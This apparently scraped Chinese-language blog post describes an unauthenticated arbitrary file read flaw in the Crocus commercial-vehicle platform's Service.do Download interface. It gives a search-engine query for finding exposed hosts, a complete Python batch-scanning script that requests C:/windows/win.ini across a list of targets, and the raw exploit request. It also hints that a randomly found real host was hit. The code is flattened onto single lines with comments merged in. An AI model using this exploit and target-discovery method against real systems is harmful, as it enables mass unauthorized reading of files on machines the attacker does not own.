怎么做網(wǎng)站效果圖網(wǎng)絡(luò)營(yíng)銷自學(xué)網(wǎng)站
???聲明:本文檔或演示材料僅用于教育和教學(xué)目的。如果任何個(gè)人或組織利用本文檔中的信息進(jìn)行非法活動(dòng),將與本文檔的作者或發(fā)布者無(wú)關(guān)。
一、漏洞描述
Crocus系統(tǒng)中的Download文件讀取漏洞允許未經(jīng)身份驗(yàn)證的攻擊者通過(guò)特定請(qǐng)求讀取系統(tǒng)上的任意文件。Crocus系統(tǒng)是銳明技術(shù)旗下的一款核心產(chǎn)品,旨在通過(guò)人工智能、高清視頻、大數(shù)據(jù)和自動(dòng)駕駛技術(shù)提升商用車的運(yùn)營(yíng)效率并保障駕駛安全。該系統(tǒng)能夠識(shí)別車輛和行人身份,分析駕駛行為,及時(shí)提醒潛在風(fēng)險(xiǎn)。然而,Crocus系統(tǒng)也存在一些安全漏洞。其Service.do接口存在任意文件讀取漏洞,未經(jīng)授權(quán)的遠(yuǎn)程攻擊者可以通過(guò)該漏洞獲取系統(tǒng)重要文件,使網(wǎng)站處于不安全狀態(tài)。
二、資產(chǎn)收集
1.使用網(wǎng)絡(luò)空間測(cè)繪引擎搜索
鷹圖檢索:web.body="inp_verification"
2.使用poc批量掃描
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning# 忽略SSL證書(shū)驗(yàn)證警告
# 忽略證書(shū)驗(yàn)證警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 定義常量,用于文本顏色高亮
RED = '\033[91m'
RESET = '\033[0m'def check_file_read(url):"""檢查給定URL是否存在任意文件讀取漏洞。:param url: 待檢測(cè)的URL。"""# 設(shè)置User-Agent頭,模擬瀏覽器請(qǐng)求headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'}# 構(gòu)造請(qǐng)求的URL,嘗試讀取C:/windows/win.ini文件file_read_url = f"{url.rstrip('/')}/Service.do?Action=Download&Path=C:/windows/win.ini"try:# 發(fā)送GET請(qǐng)求,并忽略SSL證書(shū)驗(yàn)證response = requests.get(file_read_url, headers=headers, verify=False, timeout=30)# 檢查響應(yīng)狀態(tài)碼是否為200,并且響應(yīng)內(nèi)容是否包含"fonts",作為漏洞存在的標(biāo)志if response.status_code == 200 and "fonts" in response.text:print(f"{RED}URL [{url}] 存在 Crocus-Download 任意文件讀取漏洞{RESET}")else:print(f"URL [{url}] 可能不存在漏洞")except requests.RequestException as e:# 打印請(qǐng)求過(guò)程中發(fā)生的異常print(f"URL [{url}] 請(qǐng)求失敗: {e}")def main():"""主函數(shù),負(fù)責(zé)解析命令行參數(shù)并調(diào)用漏洞檢測(cè)函數(shù)。"""# 使用argparse庫(kù)解析命令行參數(shù)parser = argparse.ArgumentParser(description='檢測(cè)目標(biāo)地址是否存在 Crocus-Download 任意文件讀取漏洞')parser.add_argument('-u', '--url', help='指定目標(biāo)地址')parser.add_argument('-f', '--file', help='指定包含目標(biāo)地址的文本文件')args = parser.parse_args()# 如果指定了URL參數(shù)if args.url:# 如果URL沒(méi)有以http://或https://開(kāi)頭,自動(dòng)添加if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_file_read(args.url)# 如果指定了文件參數(shù)elif args.file:# 打開(kāi)文件,讀取其中的URLswith open(args.file, 'r') as file:urls = file.read().splitlines()# 遍歷每個(gè)URL進(jìn)行檢測(cè)for url in urls:# 如果URL沒(méi)有以http://或https://開(kāi)頭,自動(dòng)添加if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_file_read(url)if __name__ == '__main__':main()
cmd運(yùn)行:python poc.py -f url.txt
?隨機(jī)尋找的幸運(yùn)兒
三、漏洞復(fù)現(xiàn)?
1.構(gòu)造數(shù)據(jù)包
GET /Service.do?Action=Download&Path=C:/windows/win.ini HTTP/1.1
Host:ip
2.數(shù)據(jù)包分析?
- 請(qǐng)求方法:GET,表示客戶端希望從服務(wù)器獲取數(shù)據(jù)。
- 請(qǐng)求URL:/Service.do?Action=Download&Path=C:/windows/win.ini,表示客戶端請(qǐng)求訪問(wèn)服務(wù)器上的Service.do接口,并傳遞參數(shù)Action為Download,Path為C:/windows/win.ini。這個(gè)URL可能是一個(gè)Web應(yīng)用程序的后端接口,用于處理文件下載請(qǐng)求。這個(gè)數(shù)據(jù)包是一個(gè)HTTP GET請(qǐng)求,用于從服務(wù)器下載位于C:/windows/win.ini的文件。
- HTTP版本:HTTP/1.1,表示客戶端使用的HTTP協(xié)議版本是1.1。
- Host頭:ip,表示請(qǐng)求的目標(biāo)服務(wù)器的IP地址或域名。
3.結(jié)束跑路
使用yakit Web Fuzzer構(gòu)造數(shù)據(jù)包發(fā)送
每篇一言:沒(méi)有任何條件比真的喜歡你更重要。